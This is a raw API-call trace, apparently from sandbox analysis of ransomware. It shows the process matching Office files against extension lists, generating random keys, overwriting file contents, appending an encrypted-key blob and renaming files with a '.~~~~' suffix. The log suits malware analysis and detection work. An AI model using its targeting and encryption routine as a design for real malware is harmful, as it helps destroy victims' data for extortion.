	[0145.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".edb") returned 0x0
	[0145.917] lstrlenW (lpString=".PST") returned 4
	[0145.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".PST") returned 0x0
	[0145.917] lstrlenW (lpString=".dbf") returned 4
	[0145.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".dbf") returned 0x0
	[0145.917] lstrlenW (lpString=".SQL") returned 4
	[0145.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".SQL") returned 0x0
	[0145.917] lstrlenW (lpString=".pst") returned 4
	[0145.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".pst") returned 0x0
	[0145.917] lstrlenW (lpString=".dbv") returned 4
	[0145.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".dbv") returned 0x0
	[0145.917] lstrlenW (lpString=".SDF") returned 4
	[0145.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".SDF") returned 0x0
	[0145.917] lstrlenW (lpString=".dtxs") returned 5
	[0145.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".dtxs") returned 0x0
	[0145.917] lstrlenW (lpString=".db3") returned 4
	[0145.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".db3") returned 0x0
	[0145.918] lstrlenW (lpString=".OST") returned 4
	[0145.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".OST") returned 0x0
	[0145.918] lstrlenW (lpString=".dbx") returned 4
	[0145.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".dbx") returned 0x0
	[0145.918] lstrlenW (lpString=".DB3") returned 4
	[0145.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".DB3") returned 0x0
	[0145.918] lstrlenW (lpString=".DAT") returned 4
	[0145.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".DAT") returned 0x0
	[0145.918] lstrlenW (lpString=".VHDX") returned 5
	[0145.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".VHDX") returned 0x0
	[0145.918] lstrlenW (lpString=".ndf") returned 4
	[0145.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".ndf") returned 0x0
	[0145.918] lstrlenW (lpString=".DB") returned 3
	[0145.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".DB") returned 0x0
	[0145.918] lstrlenW (lpString=".sql") returned 4
	[0145.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".sql") returned 0x0
	[0145.918] lstrlenW (lpString=".MYD") returned 4
	[0145.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".MYD") returned 0x0
	[0145.918] lstrlenW (lpString=".DBT") returned 4
	[0145.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".DBT") returned 0x0
	[0145.918] lstrlenW (lpString=".ACCDB") returned 6
	[0145.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".ACCDB") returned 0x0
	[0145.918] lstrlenW (lpString=".fdb") returned 4
	[0145.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".fdb") returned 0x0
	[0145.918] lstrlenW (lpString=".bak") returned 4
	[0145.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".bak") returned 0x0
	[0145.918] lstrlenW (lpString=".myd") returned 4
	[0145.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".myd") returned 0x0
	[0145.918] lstrlenW (lpString=".DTXS") returned 5
	[0145.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".DTXS") returned 0x0
	[0145.918] lstrlenW (lpString=".ckp") returned 4
	[0145.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".ckp") returned 0x0
	[0145.918] lstrlenW (lpString=".dbt") returned 4
	[0145.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".dbt") returned 0x0
	[0145.919] lstrlenW (lpString=".db") returned 3
	[0145.919] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".db") returned 0x0
	[0145.919] lstrlenW (lpString=".TXT") returned 4
	[0145.919] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".TXT") returned 0x0
	[0145.919] lstrlenW (lpString=".MDF") returned 4
	[0145.919] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".MDF") returned 0x0
	[0145.919] lstrlenW (lpString=".bdb") returned 4
	[0145.919] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".bdb") returned 0x0
	[0145.919] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0145.919] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0145.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0145.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0145.919] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3956b8) returned 1
	[0145.920] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0145.920] CryptReleaseContext (hProv=0x3956b8, dwFlags=0x0) returned 1
	[0145.920] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0145.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0145.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0145.920] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26591031635) returned 1
	[0145.920] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xc061d8b0, dwHighDateTime=0x1d60e1e)) 
	[0145.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0145.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0145.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0145.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37f7b8
	[0145.921] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0145.921] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37f7b8 | out: hHeap=0x300000) returned 1
	[0145.921] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0145.921] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0145.921] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0210
	[0145.921] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0145.921] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c74b8
	[0145.921] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0210 | out: hHeap=0x300000) returned 1
	[0145.921] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0145.921] GetLastError () returned 0x0
	[0145.921] GetLastError () returned 0x0
	[0145.921] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0145.921] GetLastError () returned 0x0
	[0145.922] GetLastError () returned 0x0
	[0145.922] ReadFile (in: hFile=0x104, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x26dfec0*=0x72, lpOverlapped=0x0) returned 1
	[0145.923] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xffffff8e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.923] WriteFile (in: hFile=0x104, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x72, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x72, lpOverlapped=0x0) returned 1
	[0145.923] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0145.923] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.923] WriteFile (in: hFile=0x104, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0145.923] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0145.923] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0145.923] CloseHandle (hObject=0x104) returned 1
	[0145.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0210
	[0145.924] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_f_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_f_col.hxk.~~~~")) returned 1
	[0145.926] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0210 | out: hHeap=0x300000) returned 1
	[0145.926] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0145.926] GetLastError () returned 0x0
	[0145.926] RtlWakeConditionVariable () returned 0x0
	[0145.926] GetCurrentThreadId () returned 0x9cc
	[0145.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".scr") returned 0x0
	[0145.927] lstrlenW (lpString=".cmd") returned 4
	[0145.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".cmd") returned 0x0
	[0145.927] lstrlenW (lpString=".dll") returned 4
	[0145.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".dll") returned 0x0
	[0145.927] lstrlenW (lpString=".bat") returned 4
	[0145.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".bat") returned 0x0
	[0145.927] lstrlenW (lpString=".cpl") returned 4
	[0145.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".cpl") returned 0x0
	[0145.927] lstrlenW (lpString=".sys") returned 4
	[0145.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".sys") returned 0x0
	[0145.927] lstrlenW (lpString=".msc") returned 4
	[0145.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".msc") returned 0x0
	[0145.927] lstrlenW (lpString=".com") returned 4
	[0145.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".com") returned 0x0
	[0145.927] lstrlenW (lpString=".lnk") returned 4
	[0145.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".lnk") returned 0x0
	[0145.927] lstrlenW (lpString=".msp") returned 4
	[0145.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".msp") returned 0x0
	[0145.927] lstrlenW (lpString=".pif") returned 4
	[0145.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".pif") returned 0x0
	[0145.927] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0145.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch="msp\r\n.pif") returned 0x0
	[0145.927] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0145.930] lstrlenW (lpString=".sqb") returned 4
	[0145.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".sqb") returned 0x0
	[0145.930] lstrlenW (lpString=".ost") returned 4
	[0145.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".ost") returned 0x0
	[0145.930] lstrlenW (lpString=".txt") returned 4
	[0145.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".txt") returned 0x0
	[0145.930] lstrlenW (lpString=".mdt") returned 4
	[0145.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".mdt") returned 0x0
	[0145.930] lstrlenW (lpString=".BDB") returned 4
	[0145.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".BDB") returned 0x0
	[0145.930] lstrlenW (lpString=".eql") returned 4
	[0145.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".eql") returned 0x0
	[0145.930] lstrlenW (lpString=".DBF") returned 4
	[0145.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".DBF") returned 0x0
	[0145.930] lstrlenW (lpString=".EQL") returned 4
	[0145.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".EQL") returned 0x0
	[0145.930] lstrlenW (lpString=".FDB") returned 4
	[0145.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".FDB") returned 0x0
	[0145.930] lstrlenW (lpString=".EDB") returned 4
	[0145.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".EDB") returned 0x0
	[0145.930] lstrlenW (lpString=".DACPAC") returned 7
	[0145.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".DACPAC") returned 0x0
	[0145.930] lstrlenW (lpString=".VHD") returned 4
	[0145.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".VHD") returned 0x0
	[0145.930] lstrlenW (lpString=".DBV") returned 4
	[0145.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".DBV") returned 0x0
	[0145.930] lstrlenW (lpString=".dacpac") returned 7
	[0145.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".dacpac") returned 0x0
	[0145.930] lstrlenW (lpString=".sdf") returned 4
	[0145.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".sdf") returned 0x0
	[0145.930] lstrlenW (lpString=".accdb") returned 6
	[0145.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".accdb") returned 0x0
	[0145.931] lstrlenW (lpString=".DBX") returned 4
	[0145.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".DBX") returned 0x0
	[0145.931] lstrlenW (lpString=".MDT") returned 4
	[0145.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".MDT") returned 0x0
	[0145.931] lstrlenW (lpString=".SQB") returned 4
	[0145.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".SQB") returned 0x0
	[0145.931] lstrlenW (lpString=".vhd") returned 4
	[0145.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".vhd") returned 0x0
	[0145.931] lstrlenW (lpString=".bac") returned 4
	[0145.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".bac") returned 0x0
	[0145.931] lstrlenW (lpString=".mdf") returned 4
	[0145.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".mdf") returned 0x0
	[0145.931] lstrlenW (lpString=".BAK") returned 4
	[0145.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".BAK") returned 0x0
	[0145.931] lstrlenW (lpString=".BAC") returned 4
	[0145.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".BAC") returned 0x0
	[0145.931] lstrlenW (lpString=".dbs") returned 4
	[0145.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".dbs") returned 0x0
	[0145.931] lstrlenW (lpString=".vhdx") returned 5
	[0145.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".vhdx") returned 0x0
	[0145.931] lstrlenW (lpString=".NDF") returned 4
	[0145.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".NDF") returned 0x0
	[0145.931] lstrlenW (lpString=".dat") returned 4
	[0145.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".dat") returned 0x0
	[0145.931] lstrlenW (lpString=".DBS") returned 4
	[0145.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".DBS") returned 0x0
	[0145.932] lstrlenW (lpString=".CKP") returned 4
	[0145.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".CKP") returned 0x0
	[0145.932] lstrlenW (lpString=".edb") returned 4
	[0145.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".edb") returned 0x0
	[0145.932] lstrlenW (lpString=".PST") returned 4
	[0145.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".PST") returned 0x0
	[0145.932] lstrlenW (lpString=".dbf") returned 4
	[0145.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".dbf") returned 0x0
	[0145.932] lstrlenW (lpString=".SQL") returned 4
	[0145.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".SQL") returned 0x0
	[0145.932] lstrlenW (lpString=".pst") returned 4
	[0145.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".pst") returned 0x0
	[0145.932] lstrlenW (lpString=".dbv") returned 4
	[0145.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".dbv") returned 0x0
	[0145.932] lstrlenW (lpString=".SDF") returned 4
	[0145.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".SDF") returned 0x0
	[0145.932] lstrlenW (lpString=".dtxs") returned 5
	[0145.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".dtxs") returned 0x0
	[0145.932] lstrlenW (lpString=".db3") returned 4
	[0145.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".db3") returned 0x0
	[0145.932] lstrlenW (lpString=".OST") returned 4
	[0145.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".OST") returned 0x0
	[0145.932] lstrlenW (lpString=".dbx") returned 4
	[0145.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".dbx") returned 0x0
	[0145.932] lstrlenW (lpString=".DB3") returned 4
	[0145.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".DB3") returned 0x0
	[0145.932] lstrlenW (lpString=".DAT") returned 4
	[0145.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".DAT") returned 0x0
	[0145.932] lstrlenW (lpString=".VHDX") returned 5
	[0145.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".VHDX") returned 0x0
	[0145.932] lstrlenW (lpString=".ndf") returned 4
	[0145.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".ndf") returned 0x0
	[0145.932] lstrlenW (lpString=".DB") returned 3
	[0145.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".DB") returned 0x0
	[0145.933] lstrlenW (lpString=".sql") returned 4
	[0145.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".sql") returned 0x0
	[0145.933] lstrlenW (lpString=".MYD") returned 4
	[0145.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".MYD") returned 0x0
	[0145.933] lstrlenW (lpString=".DBT") returned 4
	[0145.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".DBT") returned 0x0
	[0145.933] lstrlenW (lpString=".ACCDB") returned 6
	[0145.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".ACCDB") returned 0x0
	[0145.933] lstrlenW (lpString=".fdb") returned 4
	[0145.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".fdb") returned 0x0
	[0145.933] lstrlenW (lpString=".bak") returned 4
	[0145.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".bak") returned 0x0
	[0145.933] lstrlenW (lpString=".myd") returned 4
	[0145.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".myd") returned 0x0
	[0145.933] lstrlenW (lpString=".DTXS") returned 5
	[0145.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".DTXS") returned 0x0
	[0145.933] lstrlenW (lpString=".ckp") returned 4
	[0145.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".ckp") returned 0x0
	[0145.933] lstrlenW (lpString=".dbt") returned 4
